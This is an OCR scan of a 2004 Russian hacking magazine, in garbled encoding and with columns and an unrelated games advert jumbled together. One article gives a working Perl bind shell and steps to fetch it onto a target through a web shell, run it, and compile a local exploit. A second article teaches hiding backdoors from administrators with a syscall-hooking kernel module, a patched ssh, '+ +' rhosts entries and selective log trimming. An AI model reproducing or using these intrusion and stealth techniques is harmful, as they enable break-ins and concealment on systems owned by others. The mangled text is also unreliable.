                                     exit if fork;                                 ëåå ïðèãëÿäíî, ìîæíî èñïîëüçîâàòü         ÷òî ñîçäàòåëè ïðîãðàììíîãî îáåñ-
                                     $0 = "updatedb" . " " x100;                   netcat (http://nsd.ru/soft/nc11nt.zip).   ïå÷åíèÿ åùå íå ïîäîçðåâàþò îá
                                     $SIG{CHLD} = 'IGNORE';                        Ñèíòàêñèñ òàêîâ: nc.exe target.com        îøèáêå è â ñåòè íàõîäÿòñÿ ñîòíè,
                                     use Socket;                                   31337. Òåïåðü âûïîëíÿåì ýêñïëîèò...       òûñÿ÷è, ìèëëèîíû ìàøèí ñ ýòîé
                                     socket(S, PF_INET, SOCK_STREAM, 0);           Ïîñëå êàæäîé êîìàíäû íå çàáûâàåì          óÿçâèìîñòüþ, î êîòîðîé ïî÷òè íèêòî
                                     setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);   ââåñòè «;» (åñëè òû ïîëåíèëñÿ þçàòü       íå çíàåò. Îäíèì ñëîâîì, ýòî âåëè-
                                     bind(S, sockaddr_in($port, INADDR_ANY));      netcat è þçàåøü îáûêíîâåííûé tel-         ÷àéøèé ðóëåç. Ïðèêèíü, êàêîé ìîæ-
                                     listen(S, 50);                                net). Íàïðèìåð, ÷òîáû âûïîëíèòü êî-       íî ñîçäàòü áîòíåò, åñëè óÿçâèìîñòü
                                     while(1){                                     ìàíäó ls /tmp, íàäî ââåñòè «ls /tmp;».    ðàñïðîñòðàíåííàÿ, à õàêåðîâ, êîòî-
                    Áóäü ïðå-
                                      accept(X, S);                                                                          ðûå î íåé çíàþò, âñåãî íåñêîëüêî?
                    äåëüíî îñ-        unless(fork)                                 0-DAY, PRIVATE                              Îòäåëüíî ñòîèò ïîãîâîðèòü î
                    òîðîæåí,          { open STDIN, "<&X";                         È FAKE XPLOITS                            fake-ýêñïëîèòàõ, êîòîðûå âñå ÷àùå
                    ïðîâåðü êî-
                    ìàíäîé fin-       open STDOUT, ">&X";                              Private Xploits – ëè÷íûå ýêñïëîè-     è ÷àùå âñòðå÷àþòñÿ. Ôýéêè – ýòî,
                    ger è w, íåò      open STDERR, ">&X";                          òû. Î íèõ íèêòî íè÷åãî íå çíàåò,          ïî ñóòè, îáìàí, êîòîðûé èíîãäà áû-
                    ëè â ñèñòå-
                    ìå àêòèâ-         close X;                                     êðîìå àâòîðà è óçêîãî êðóãà åãî           âàåò áåçâðåäíûì, à â íåêîòîðûõ
                    íûõ àäìè-         exec("/bin/sh");                             äðóçåé. Èíîãäà ñëó÷àþòñÿ óòå÷êè, è        ñëó÷àÿõ ñîäåðæèò â ñåáå âûãîäó
                    íèñòðàòî-         } close X;}                                  ëè÷íîå ïðåâðàùàåòñÿ â îáùåå, íà-          äëÿ ñîçäàòåëÿ, íàïðèìåð, äîáàâëÿ-
                    ðîâ.
                                                                                   çûâàþùååñÿ 0-day, 0-day xploits -         åò åùå îäíîãî çîìáè â åãî áîòíåò,
                                      Ïîñëå âûïîëíåíèÿ îí îòêðîåò ïîðò ñ           ýòî íîâèíêè. Ïðèâàòíûå è 0-day            à íà ýêðàí èñïîëüçóþùåãî åå çàêå-
                                    shell’îì nobody, à ïîêà ñîõðàíèì åãî           ýêñïëîèòû î÷åíü öåíÿòñÿ, ïîòîìó           ðà âûäàåò ñîîáùåíèå î òîì, ÷òî
                                    êàê bind.txt è çàëüåì êóäà-íèáóäü íà
                                    narod.ru.  ñëó÷àå ñ narod.ru íåò íåîá-
                    Ñêðèïòû,        õîäèìîñòè íàçûâàòü åãî *.txt, ìîæíî
                    íàïèñàííûå
                    íà Perl,        ñðàçó îïðåäåëèòü åãî êàê bind.pl, òàê
                    ñëåäóåò çà-     êàê íà Íàðîäå íåò ïîääåðæêè perl è
                    ëèâàòü â
                    òåêñòîâîì       ñêðèïò ñîëüåòñÿ òàêèì, êàêèì îí äîë-
                    ðåæèìå è        æåí áûòü. À åñëè íà ñåðâåðå åñòü ïîä-
                    óñòàíàâëè-
                    âàòü íà íèõ     äåðæêà perl, îí çàãðóçèòñÿ â âèäå
                    chmod 755       html-ñòðàíèöû, ñ ðåçóëüòàòàìè åãî âû-
                    èëè 777.        ïîëíåíèÿ. Íî .txt îí è â Àôðèêå .txt.
                    Äëÿ òîãî                                                        Ðàáîòà ñ bind.pl ÷åðåç telnet
                    ÷òîáû           Ïîýòîìó ëó÷øå íàçîâåì åãî òàê :).
                    ýêñïëîèò âû-    Ýêñïëîèò çàëèâàåì òóäà æå.
                    ïîëíèëñÿ, åãî
                    òîæå íåîáõî-      Òåïåðü, êîãäà âñå ãîòîâî, çàëèâàåì
                    äèìî ïðîch-     bind.txt è exploit.c ÷åðåç cmd.php êî-
                    mod’èòü êàê
                    +x (chmod       ìàíäîé wget èëè fetch äëÿ Linux èëè
                    xploit +x).     FreeBSD ñîîòâåòñòâåííî. Ìîæíî çà-
                                    ëèòü è ñ ïîìîùüþ ñöåíàðèÿ FTP (óæ
                                    ftp åñòü âåçäå). Çàëèâàòü bind.txt è
                                    ýêñïëîèò æåëàòåëüíî â /tmp. Òåïåðü
                                    íàì ïîíàäîáèòñÿ çàïóñòèòü bind.txt,
                                    äëÿ ÷åãî âûïîëíèì ÷åðåç cmd.php òà-
                                    êóþ êîìàíäó: www.target.com/
                                                                                    Ìàëåíüêèé ìîíñòð
                                    cmd.php?perl%20/tmp/bind.txt. Ýòèì
                                    ìû çàïóñòèì ñêðèïò bind.txt, êîòîðûé
                                    îòêðîåò äëÿ ïðîñëóøèâàíèÿ ïîðò
                                    31337, ãäå áóäåò âèñåòü shell ñ ïðàâà-            ÃÄÅ ÆÅ ÁÐÀÒÜ ÝÊÑÏËÎÈÒÛ
                                    ìè nobody. Òåïåðü íå ïîìåøàëî áû
                                    ñêîìïèëèòü ñïëîèò. Äåëàåòñÿ îáû÷íî                  Ýêñïëîèòû íå ðàñòóò íà ýêñïëîèòíîì äåðåâå è ñàìè ê òåáå íå
                                    ýòî òàê: gcc /tmp/exploit.c –o                    ïðèëåòÿò (çà èñêëþ÷åíèåì fake :)). Ëó÷øå ñëèâàòü èõ ñ ïîïóëÿðíûõ
                                    /tmp/exploit. Òåïåðü òåëíåòèìñÿ íà                ðåñóðñîâ, òàêèõ, êàê http://www.securitylab.ru, http://packetstorm-
                                    31337 ïîðò target.com. Â äàííîì ñëó-
                                                                                      security.nl, http://security.nnov.ru.
                                    ÷àå, åñëè íåò æåëàíèÿ ñòàâèòü ";" ïîñ-
                                    ëå êàæäîé êîìàíäû è âèäåòü âñå áî-
                                     ÕÀÊÅÐÑÏÅÖ   10(47)   2004
                                                                                                  Ïðàâèëüíûé æóðíàë
                                                                                                  î êîìïüþòåðíûõ èãðàõ

  ÑÑÛËÊÈ

  www.securitylab.ru, www.security.nnov.ru, www.packetstormsecuri-
  ty.nl – ñàìûå ëó÷øèå ðåñóðñû ïî áåçîïàñíîñòè, ñàìûå ñâåæèå
  áàãòðàêè, ñåêüþðèòè-ðåïîðòû è îáñóæäåíèÿ.
  www.nsd.ru – òóò òû òîæå ñìîæåøü ïî÷åðïíóòü ìíîãî èíòåðåñíîãî.
  www.bugtraq.ru – õîðîøèé áàãòðàê, ÷àñòî îáíîâëÿåòñÿ.
  www.google.ru – ïðåâîñõîäíûé ïîèñêîâèê. Íàø âûáîð.
  www.xakep.ru – ìåãàðåñóðñ ;).


ñèñòåìà íå ïîäâåðæåíà àòàêå, èëè    íóæíî ðàñøèôðîâàòü èõ, èáî çà
ïðîñòî Segmentation Fault. Core     íèìè ìîæåò ñêðûâàòüñÿ òðîÿí.
dumped ;). Ñóùåñòâóþò öåëûå ãðóï-
ïû, êîòîðûå ïðîìûøëÿþò ïðîäà-       ÏÎÈÑÊ ÓßÇÂÈÌÎÑÒÅÉ
æåé ÿêîáû «0-day», çà êîòîðûìè íà       Îòäåëüíî õîòåëîñü áû ïîãîâî-
ñàìîì äåëå ñêðûâàþòñÿ ôåéêè. Èõ     ðèòü î ïîèñêå óÿçâèìîñòåé. Ïîðîé
íóæíî îïàñàòüñÿ è ïåðåä èñïîëü-     î÷åíü òðóäíî îïðåäåëèòü, êàêîé
çîâàíèåì ýêñïëîèòà âíèìàòåëüíî      ñîôò ñòîèò íà óäàëåííîé ñèñòåìå,
èçó÷èòü èñõîäíèê. Åñëè îí ñîäåð-    îñîáåííî êîãäà íå èìååøü ê íåé äà-
æèò øåñòíàäöàòåðè÷íûå âñòàâêè,      æå ìàëåéøåãî äîñòóïà. Íà ïîìîùü
                                    ïðèõîäÿò ðàçëè÷íûå ñêàíåðû, íàï-
                                    ðèìåð, Retina, Shadow Security
                                    Scanner, XSpider. Ñêàíèðîâàíèå èìè
                                    äàñò èñ÷åðïûâàþùóþ èíôîðìàöèþ
                                    îá óäàëåííîé ñèñòåìå.

                                    ÇÀÊËÞ×ÅÍÈÅ
                                                                                              èëè
                                        Âîò, íàâåðíîå, è âñå, ÷òî ÿ õîòåë
                                    ðàññêàçàòü îá ýêñïëîèòàõ. Ýòîé èíôîð-
                                    ìàöèÿ äîñòàòî÷íî äëÿ áîëüøîãî íà÷è-          Ïðàâèëüíûé îáúåì 224       ñòðàíèö
                                    íàíèÿ. Æåëàþ óäà÷è, è ïóñòü òâîè áîëü-
                                    øèå çíàíèÿ ïîñëóæàò áëàãèì öåëÿì.            Ïðàâèëüíàÿ êîìïëåêòàöèÿ
                                                                                  3 CD èëè DVD

                                                                                                      110
                                    ÁËÀÃÎÄÀÐÍÎÑÒÜ
Òèïè÷íûé fake-ýêñïëîèò
                                       Àâòîð âûðàæàåò áëàãîäàðíîñòü
                                    NSD (nsd@nsd.ru) çà ñêðèíøîòû. E             Ïðàâèëüíàÿ öåíà
                                                                                                        Ð Ó Á Ë Å É


                                                                               Íèêàêîãî ìóñîðà è íåâíÿòíûõ òåì,
                                                                               íàñòîÿùèé ãåéìåðñêèé ðàé
                                                                               Ò Î Ë Ü Ê Î P C È Ã Ð Û

                                                                             THE SIMS 2
                                                                             Ýêñêëþçèâíûé îáçîð òîëüêî â íàøåì
                                                                             æóðíàëå
                                                                             ÀËÅÊÑÀÍÄÐ
                                                                             GSC äåëàåò èãðó äëÿ UBISOFT
                                                                             ÄÀËÜÍÎÁÎÉÙÈÊÈ 3
                                                                             Ïî÷åìó íàì ïðåäñòîèò ïîêîðÿòü Àìåðèêó?
                                                                             ÑÏÅÖÒÅÌÀ
                                                                             Ðàññêàç î Ìîñêîâñêîé Ôèôà Ëèãè, îò÷åò î
                                                                             ïîåçäêå íà Games Convention è
                                                                             ôåñòèâàëå "Ñëèÿíèå"
                                                                             ÐÅÖÅÍÇÈÈ
Ýêñïëîèòíîå "äåðåâî"                                                         Îáçîð 18 èãð
                                                                             ÄÍÅÂÍÈÊÈ ÐÀÇÐÀÁÎÒ×ÈÊÎÂ
  ÍÅ ÊÎÌÏÈËÈÒÑß?                                                             Ñîçäàòåëè "Ìåòðî-2", "Êàçàêîâ 2",
                                                                             "Êîðñàðîâ II" è S.T.A.L.K.E.R.'à
                                                                             ðàññêàçûâàþò î ïðîäåëàííîé çà ìåñÿö ðàáîòå
    Äà, ÷àñòî òàêîå áûâàåò.  áîëüøèíñòâå ñëó÷àåâ ýòî âèíà ïðîã-
  ðàììèñòîâ - îíè íå ñóìåëè ãðàìîòíî çàòî÷èòü êîíå÷íûé ïðîäóêò
  ïîä âñå âåðñèè êîìïèëÿòîðîâ. Òàêæå ïðè÷èíàìè ìîãóò ÿâëÿòüñÿ îò-
  ñóòñòâèå íåîáõîäèìîé áèáëèîòåêè è ñáîðêà ñ íåïðàâèëüíûìè ôëà-
                                                                              ÏÐÎÄÀÆÅ Ñ 22 ÑÅÍÒßÁÐß
  ãàìè. Èíîãäà ýêñïëîèò òðåáóåòñÿ ïîäïðàâèòü ðó÷êàìè, ïîýòîìó íå-
  îáõîäèìû õîòÿ áû ýëåìåíòàðíûå íàâûêè ïðîãðàììèðîâàíèÿ íà C.                 ÅÑËÈ ÒÛ ÃÅÉÌÅÐ –
                                                                             ÒÛ ÍÅ ÏÐÎÏÓÑÒÈØÜ!
                                     36     ÂÇËÎÌ          ÍÅÂÈÄÈÌÎÑÒÜ Â *NIX

                         Àäèëü Õàøòàìîâ (adi1@ok.kz, http://unl0ck.blackhatz.info)




                         ÍÅÂÈÄÈÌÎÑÒÜ
ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX




                         Â *NIX
                         ÎÁÇÎÐ STEALTH-ÌÅÕÀÍÈÇÌÎÂ ÁÝÊÄÎÐÎÂ
                             îñëå âçëîìà ñèñòåìû
                         Ï áûñòðî îáíàðóæèâàþò÷ðåçâû÷àéíî ñëîæíî âîñòàâèòü òàì íåçàìåòíûé ÷åðíûé õîä. Îïûòíûå àäìèíèñòðàòîðû î÷åíü
                                                   âñå èçâåñòíûå è íåèçâåñòíûå áýêäîðû. Î òîì, êàê ïåðåõèòðèòü àäìèíà è ñêðûòü
                         ïðèñóòñòâèå ëàçåéêè â ñèñòåìå, è ïîéäåò ðå÷ü ýòîé ñòàòüå.


                                                   àâàé ïîäóìàåì, ÷åì


                                    Ä              ïðîñòåéøèé áýêäîð ìî-
                                                   æåò âûäàòü ñâîå ïðèñó-
                                                   òñòâèå.
                                                     Âî-ïåðâûõ, îí ñóùå-
                                   ñòâóåò êàê ôàéë. Àäìèíèñòðàòîð ñïî-
                                   ñîáåí îáíàðóæèòü åãî ñ ïîìîùüþ
                                   ýëåìåíòàðíîé óòèëèòû ls è ïðîñòî-
                                   íàïðîñòî ñòåðåòü, ÷òî íàñ íè â êîåé
                                   ìåðå íå óñòðàèâàåò.
                                     Âî-âòîðûõ, åñëè áýêäîð çàïóùåí è
                                   ðàáîòàåò, òî îí ïðèñóòñòâóåò â ñèñòå-
                                   ìå êàê ïðîöåññ. Ñîîòâåòñòâåííî, ìî-
                                   æåò áûòü îáíàðóæåí àäìèíîì ñ ïî-
                                   ìîùüþ óòèëèòû ps, âûâàëèâàþùåé â
                                   êîíñîëü ñïèñîê ïðîöåññîâ.
                                     Â-òðåòüèõ, ÷åðíûé õîä "âèñèò" íà êà-
                                   êîì-òî ïîðòó è æäåò âõîäÿùåãî ñîåäè-
                                   íåíèÿ äëÿ òîãî, ÷òîáû îòêðûòü êîìà-
                                   íäíûé øåëë âçëîìùèêó, èç-çà ÷åãî
                                   ìîæåò áûòü îáíàðóæåí ìàññîé ðàç-
                                   ëè÷íûõ ñïîñîáîâ, ñàìûì ïðîñòûì èç
                                   êîòîðûõ ÿâëÿåòñÿ àíàëèç ðåçóëüòàòà
                                                                             Ñïèñîê ñîåäèíåíèé
                                   ðàáîòû óòèëèòû netstat.
                                     Êàæåòñÿ, ÷òî ïðîùå áýêäîð óäàëèòü
                    Áýêäîð –       è çàáûòü îá èäåå îñòàòüñÿ íåçàìå÷åí-
                    ÷åðíûé õîä
                                   íûì :). Íå âñå òàê ïå÷àëüíî. Íåñïðîñ-
                    â ñèñòåìó.
                                   òà æå èçâîðîòëèâûé õàêåðñêèé óì                    Êàæåòñÿ, ÷òî ïðîùå áýêäîð
                                   èçîáðåë îãðîìíîå êîëè÷åñòâî ñïîñî-
                                   áîâ ñîêðûòèÿ ïðèñóòñòâèÿ ëàçåéêè îò
                                                                                   óäàëèòü è çàáûòü îá èäåå îñòàòüñÿ
                                   ëþáîãî, äàæå ñàìîãî õèòðîãî àäìèíà.                     íåçàìå÷åííûì :).
                    Ìàññó ïî-      ÏÐß×ÅÌ ÏÐÎÖÅÑÑ È ÔÀÉË
                    ëåçíîé èí-
                    ôîðìàöèè è         Àëãîðèòìû ñîêðûòèÿ áýêäîðà îò          Åñòü îùóùåíèå, ÷òî àäìèíèñòðàòî-     òàê, ÷òîáû àäìèí íå îáíàðóæèë â
                    ïðîãðàìì       óòèëèò ps è ls ïðàêòè÷åñêè èäåíòè÷íû,    ðû ñìîòðÿò ïåðâûì äåëîì èìåííî â       ñïèñêå ïðîöåññîâ íè÷åãî ïîäîçðè-
                    òû ìîæåøü
                    íàéòè íà       ïîýòîìó ÿ ðàçáåðó òîëüêî ñëó÷àé ìàñ-     âûâîä óòèëèòû ps, êîãäà ó íèõ âîçíè-   òåëüíîãî. Åñòü ìíîæåñòâî ñïîñîáîâ
                    www.packet-    êèðîâêè ïðîöåññà. Íàäåþñü, ÷òî ñ         êàåò ïîäîçðåíèå, ÷òî èõ ñèñòåìîé       ðåøèòü ýòó çàäà÷ó, íî ìû ðàññìîòðèì
                    stormsecuri-
                    ty.nl.         ìàñêèðîâêîé ôàéëà ó òåáÿ òðóäíîñòåé      ïîëüçóåòñÿ òîò, êòî íå èìååò ïðàâà     ñàìûå ïîïóëÿðíûå.
                                   íå âîçíèêíåò.                            ýòîãî äåëàòü. Íàøà çàäà÷à ñäåëàòü        Ïåðâûé ñïîñîá çàêëþ÷àåòñÿ â êîð-
                                                                                                                   ðåêòèðîâêå èñõîäíîãî êîäà óòèëèòû,
                                                                                                                   îòâåòñòâåííîé çà âûâîä ñïèñêà ïðî-
                                                                                                                   öåññîâ. Òî åñòü ìû äîëæíû áóäåì
                                                                                                                   íàéòè ñîðöû ps, â íèõ îáíàðóæèòü
                                                                                                                   ôóíêöèþ, êîòîðàÿ âûâîäèò ïðîöåññû
                                                                                                                   íà ýêðàí, è ïóòåì íåäîëãèõ ïðåîáðà-
                                                                                                                   çîâàíèé çàñòàâèòü çàáûòü åå î íàøåì
                                                                                                                   áýêäîðå. Òðóäíîñòåé âñòðåòèòñÿ öåëàÿ
                                                                                                                   êó÷à: âî-ïåðâûõ, ïðèäåòñÿ ðûòüñÿ â
                                                                                                                   ÷óæèõ ñîðöàõ, à õóæå, ÷åì êîïàòüñÿ â
                                                                                                                   èñõîäíûõ êîäàõ ñèñòåìíûõ þíèêñî-
                                                                                                                   âûõ óòèëèò, íè÷åãî íå ïðèäóìàåøü;
                                                                                                                   âî-âòîðûõ, ðåàëèçàöèÿ äëÿ êàæäîé
                                                                                                                   *nix-ñèñòåìû áóäåò íîâàÿ, èáî ÿ ñîì-
                                    Ñïèñîê ïðîöåññîâ                                                               íåâàþñü, ÷òî ps âåçäå îäèíàêîâàÿ.

                                    ÕÀÊÅÐÑÏÅÖ   10(47)   2004
                                                                                                               37


                                                                                 ìèðîâàíèè, õâàòèò è øêîëüíîãî êóð-
                                                                                 ñà. Âåäü â ïðîãðàììó âñåãî òî è íàäî,




                                                                                                                         ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX
                                                                                 ÷òî ïîíàïèõàòü ôóíêöèé printf().
                                                                                 Æàëü òîëüêî, ÷òî ëþáîé íîðìàëü-
                                                                                 íûé àäìèí â çäðàâîì óìå è òðåçâîé
                                                                                 ïàìÿòè çàïîäîçðèò íåëàäíîå ñðàçó
                                                                                 æå ïîñëå âòîðîãî çàïóñêà ps.
                                                                                   Íó è, íàêîíåö, ñàìûé èíòåðåñíûé
                                                                                 ñïîñîá. Êîãäà óòèëèòà ps ïûòàåòñÿ
                                                                                 âûâåñòè âñå çàïóùåííûå â äàííûé
                                                                                 ìîìåíò â ñèñòåìå ïðîöåññû, îíà îá-
                                                                                 ðàùàåòñÿ ê ÿäðó ñ íåêîòîðûì ñèñòåì-
                                                                                 íûì çàïðîñîì. Àíàëèçèðóÿ îòâåò ÿä-
                                                                                 ðà, îíà ñîñòàâëÿåò ñïèñîê è âûáðà-
                                                                                 ñûâàåò åãî íà ýêðàí. Ñïîñîá ìàñêè-
                                                                                 ðîâêè áýêäîðà â äàííîì ñëó÷àå áó-
                                                                                 äåò çàêëþ÷àòüñÿ â «îáðàáîòêå» ýòî-
Áýêäîð â äåéñòâèè
                                                                                 ãî ñàìîãî ñèñòåìíîãî îòâåòà.
                                                                                   Ãðóáî ãîâîðÿ, òðåáóåòñÿ ïåðåõâà-
                                                                                 òèòü ñèñòåìíûé âûçîâ è ïîäìåíèòü
                                             Òàêæå ìîæíî âîñïîëüçîâàòüñÿ äðó-    åãî íà ôàëüøèâûé, â êîòîðîì áóäóò
 LOADABLE KERNEL MODULE                    ãèì ïðèåìîì, ñîñòîÿùèì â ìàñêèðîâ-    îòñóòñòâîâàòü âñÿ÷åñêèå äàííûå î
                                           êå ñîçäàííîãî áýêäîðîì ïðîöåññà.      íàøåì áýêäîðå. Îñóùåñòâèòü ýòî
 #include <linux/module.h>                 Ýòî ñàìûé ïðîñòîé â ðåàëèçàöèè        ìîæíî, íàïèñàâ Loadable Kernel
 #include <linux/kernel.h>                 ñïîñîá. Ïîòðåáóåòñÿ íàïèñàòü ïðîã-    Module (LKM), ìîäóëü, ïîäãðóæàå-
 #include <sys/syscall.h>                  ðàììó, ïîëíîñòüþ çàìåíÿþùóþ ps,       ìûé ê ÿäðó ñèñòåìû. Îí ïîäìåíèò çà-
 /* linux ps fake utility.                 êîòîðàÿ âûïëåâàëà áû âñåãäà îäèí è    ïèñü â òàáëèöå ñèñòåìíûõ âûçîâîâ,
                                           òîò æå òåêñò. Ïîñëå âçëîìà çàïîìíèì   â ðåçóëüòàòå ÷åãî âñå çàïðîñû áóäóò
  *
                                           ñïèñîê "ïîñòîÿííî âèñÿùèõ" ïðîöåñ-    ïåðåäàâàòüñÿ íå ñòàíäàðòíîé ôóíê-
   * if fake ps doesn't work, try below    ñîâ, çàïèøåì åãî, íàïðèìåð, â ôàéë,   öèè, âûäàþùåé ñïèñîê ïðîöåññîâ, à
 SYS_CALLS                                 êîòîðûé è áóäåì âûâîäèòü âñÿêèé       íàøåé õèòðîé ïðîöåäóðêå. Ïîõîæèé
  *                                        ðàç ïðè çàïóñêå óòèëèòû. Ïðèìåíå-     ìîäóëü áûë íàïèñàí stan'îì èç êî-
  * 1. SYS_rt_sigaction                    íèå äàííîãî ñïîñîáà íå òðåáóåò îò     ìàíäû unl0ck team, íî, ê ñîæàëåíèþ,
                                           õàêåðà ãëóáîêèõ ïîçíàíèé â ïðîãðàì-   îí íå çàõîòåë äåëèòüñÿ ñ íàðîäîì »
  * 2. SYS_rt_sigprocmask
  * 3. SYS_clone
  *
  * the main hook function is fakepid();                  Òðåáóåòñÿ ïåðåõâàòèòü
 this function try to                                  ñèñòåìíûé âûçîâ è ïîäìåíèòü
   * hook SYS_call = SYS_waitpid, then
 programm print some inte
                                                            åãî íà ôàëüøèâûé.
  * resting message to the screen :)
  *
  * (c) by stan [unl0ck team] 2004
  */
  extern void *sys_call_table[];
  int (*origpid)(const char *path);
  int fakepid(const char *path)
 {
  printk("No proccess found!");
  return 0;
 }
 int init_module(void)
 {
  origpid = sys_call_table[SYS_waitpid];
       sys_call_table[SYS_waitpid] =
 fakepid;
        printk("Module     successfully
 loaded!");
  return(0);
 }
 void cleanup_module(void)
 {
  sys_call_table[SYS_waitpid] = origpid;
        printk("Module     successfully
 unloaded!");
 }
                                            Ñèñòåìíûå âûçîâû óòèëèòû ps
                                       38     ÂÇËÎÌ         ÍÅÂÈÄÈÌÎÑÒÜ Â *NIX


                                                                                 ÕÈÒÐÎÑÒÈ Ñ ÄÅÌÎÍÀÌÈ
ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX




                                                                                    Ñëó÷àåòñÿ òàê, ÷òî îïûòíûé àäìèíèñòðàòîð óõèòðÿåòñÿ âûëîâèòü
                                                                                 stealth-áýêäîð, äàæå åñëè â íåì ïðèìåíÿþòñÿ âñå ïåðå÷èñëåííûå
                                                                                 çäåñü ìåõàíèçìû. Ïðîäâèíóòûå àäìèíû íàïðèäóìûâàëè êó÷ó ñà-
                                                                                 ìûõ ðàçíûõ ïðèåìîâ âûëîâèòü ãàäà. Îíè èñïîëüçóþò ñíèôåðû è
                                                                                 àíàëèçèðóþò òðàôèê íà ïðåäìåò ÷åãî-òî ïîäîçðèòåëüíîãî, óñòàíàâ-
                                                                                 ëèâàþò æåñòêóþ ïîëèòèêó áðàíäìàóýðîâ. Ñî âñåì ýòèì î÷åíü ñëîæ-
                                                                                 íî áîðîòüñÿ ñòàíäàðòíûìè ìåòîäàìè. Â òàêîé ñëîæíîé ñèòóàöèè
                                                                                 åñòü îòëè÷íûé ñïîñîá îñòàòüñÿ íåçàìå÷åííûì. Ìîæíî íåìíîãî ïîä-
                       Ìîäóëü â äåéñòâèè                                         êîððåêòèðîâàòü êàêîé-íèáóäü ñåðâèñíûé äåìîí. Íàïðèìåð, íàïè-
                                                                                 ñàòü ïàò÷ ê ssh, ïîçâîëÿþùèé áåñïðåïÿòñòâåííî ïðîíèêíóòü â ñèñ-
                                    ïîëíîöåííîé ïðîãðàììîé, ïîýòîìó              òåìó áåç àóòåíòèôèêàöèè è ïðî÷èõ øòó÷åê. Íè÷åãî îñîáåííî òðóä-
                                    íàïèñàë íåêèé PoC, êîòîðûé çàñòàâ-           íîãî çäåñü íåò, íóæíî ëèøü íåìíîãî ðàçáèðàòüñÿ â êîäèíãå.
                                    ëÿåò ïðîãðàììó ps è åé ïîäîáíûå
                                    âûâîäèòü ñîîáùåíèå î òîì, ÷òî â              Åñòü åùå áîëåå ïðîñòîé ñïîñîá - ïðîõîä â ñèñòåìó ïîñðåäñòâîì äî-
                                    ñèñòåìå ïðîöåññîâ íåò êàê òàêîâûõ.
                                    Íåìíîãî ïîäêîððåêòèðîâàâ êîä ìî-             âåðåííûõ õîñòîâ. Ìíîãèå ñåòåâûå äåìîíû, òàêèå, êàê sshd, rlogin,
                                    äóëÿ (òû íàéäåøü åãî íà CD, ïðèëà-           rshd, ïðè ñîåäèíåíèè ñ êåì-ëèáî îáðàùàþòñÿ ê ôàéëàì ~/.rhost,
                                    ãàþùåìñÿ ê æóðíàëó) è äîáàâèâ â              /.rhost (uid=0 auth), /etc/host.equiv, ~/.shosts, ïðîâåðÿÿ, íåò ëè òàì
                                    íåãî ôóíêöèþ ïîèñêà è ñîêðûòèÿ               àäðåñà ñîåäèíÿþùåãîñÿ ñ íèìè ïîëüçîâàòåëÿ, è åñëè åñòü, òî äîêó-
                                    íóæíîãî íàì ïðîöåññà, ìîæíî äî-              ìåíòû ó íåãî íå ñïðîñÿò. Òî åñòü, åñëè íàì âïèñàòü â âûøåïåðå÷èñ-
                     Íå ñòîèò
                     çàáûâàòü,      áèòüñÿ ñàìîé êà÷åñòâåííîé ìàñêè-
                     ÷òî ëþáîé,     ðîâêè ñâîåãî áýêäîðà.                        ëåííûå ôàéëû íåêèé õîñò, òî îí áóäåò ïðîïóùåí íà ñåðâåð áåç àó-
                     äàæå ñàìûé
                                      Äîñòîèíñòâà ýòîãî ñïîñîáà î÷å-             òåíòèôèêàöèè. À åñëè â ýòîì ôàéëå áóäåò ïàðà "+ +", òî íà ñåðâåð
                     õîðîøèé
                     áýêäîð ìî-     âèäíû. Àäìèíèñòðàòîð íå ñìîæåò               ñìîæåò âîéòè âîîáùå ëþáîé õîñò áåç ïðåäâàðèòåëüíîé àóòåíòèôè-
                     æåò âûäàòü     îáíàðóæèòü íèêàêèõ èçìåíåíèé â
                     ñâîå ïðèñó-                                                 êàöèè.  ýòîì ñëó÷àå ìîæåò î÷åíü ïðèãîäèòüñÿ crontab äëÿ òîãî,
                     òñòâèå îã-     ðàçìåðå ôàéëà óòèëèòû ps, êàê â              ÷òîáû ïîñòàâèòü òî÷íîå âðåìÿ, êîãäà íóæíî ñîçäàâàòü/óäàëÿòü
                     ðîìíûì         ñëó÷àå ñ åå ïîäìåíîé. À åñëè âäðóã
                     òðàôèêîì.
                                    îí âîñïîëüçóåòñÿ êàêîé-íèáóäü ñòî-           ôàéë äîâåðåííûõ õîñòîâ – ìû æå íå õîòèì, ÷òîáû àäìèíèñòðàòîð
                                    ðîííåé ïðîãðàììîé äëÿ ñëåæåíèÿ               íàñ çàñåê. Ïðè ýòîì ñëåäóåò ïîìíèòü, ÷òî ïåðåä óõîäîì ñ ñåðâåðà
                                    çà çàïóùåííûìè ïðîöåññàìè, òî è              íóæíî ïî÷èñòèòü ëîãè. Íî íå ïîëíîñòüþ óäàëÿòü, à àêêóðàòíî ïîä-
                                    åå âûçîâ íå âûäàñò íàøåãî áýêäî-             ðåçàòü çàïèñè, îñòàâëåííûå ñèñòåìîé òîëüêî î ñîáñòâåííûõ ãðÿç-
                                    ðà, èáî ÿäðî îäíî, à ðàáîòàþò ïî-            íûõ äåëèøêàõ :).
                     Ïåðåõâàò
                     ñèñòåìíûõ      äîáíûå ïðîãðàììêè ïî îäíîìó è òî-
                     âûçîâîâ –      ìó æå ïðèíöèïó. Çäîðîâî!
                     ñàìûé óâà-
                     æàåìûé â
                     õàêåðñêèõ                                                                                        Âïðî÷åì, ó ýòîãî ìåòîäà åñòü è íå-
                                            Àäìèíèñòðàòîð íå ñìîæåò îáíàðóæèòü                                       äîñòàòêè, ãëàâíûì îáðàçîì, ñëîæíîñòü
                     êðóãàõ ñïî-
                     ñîá ñîêðû-
                     òèÿ áýêäîðà                                                                                     ðåàëèçàöèè. Âåäü, ÷òîáû íàïèñàòü òà-
                     îò óòèëèò
                     îïåðàöèîí-
                                            íèêàêèõ èçìåíåíèé â ðàçìåðå ôàéëà                                        êîé LKM èëè ïîäêîððåêòèðîâàòü óæå
                     íîé ñèñòå-
                     ìû.
                                                        óòèëèòû ps.                                                  èìåþùèéñÿ íà âðåçêå, íóæíî íåõèëî
                                                                                                                     ðàçáèðàòüñÿ â ïðîãðàììèðîâàíèè ìî-
                                                                                                                     äóëåé, à ýòèì ìîæåò ïîõâàñòàòüñÿ äà-
                                                                                                                     ëåêî íå êàæäûé ïðîãðàììåð.
                                                                                                                      Äóìàþ, ñ ñîêðûòèåì ïðîöåññà áýê-
                                                                                                                     äîðà, à òàêæå ôàéëà, ìàñêèðîâêà
                                                                                                                     êîòîðîãî ðåàëèçóåòñÿ ïî àíàëîãèè,
                                                                                                                     ìû ðàçîáðàëèñü, è ìîæíî ïðèñòó-
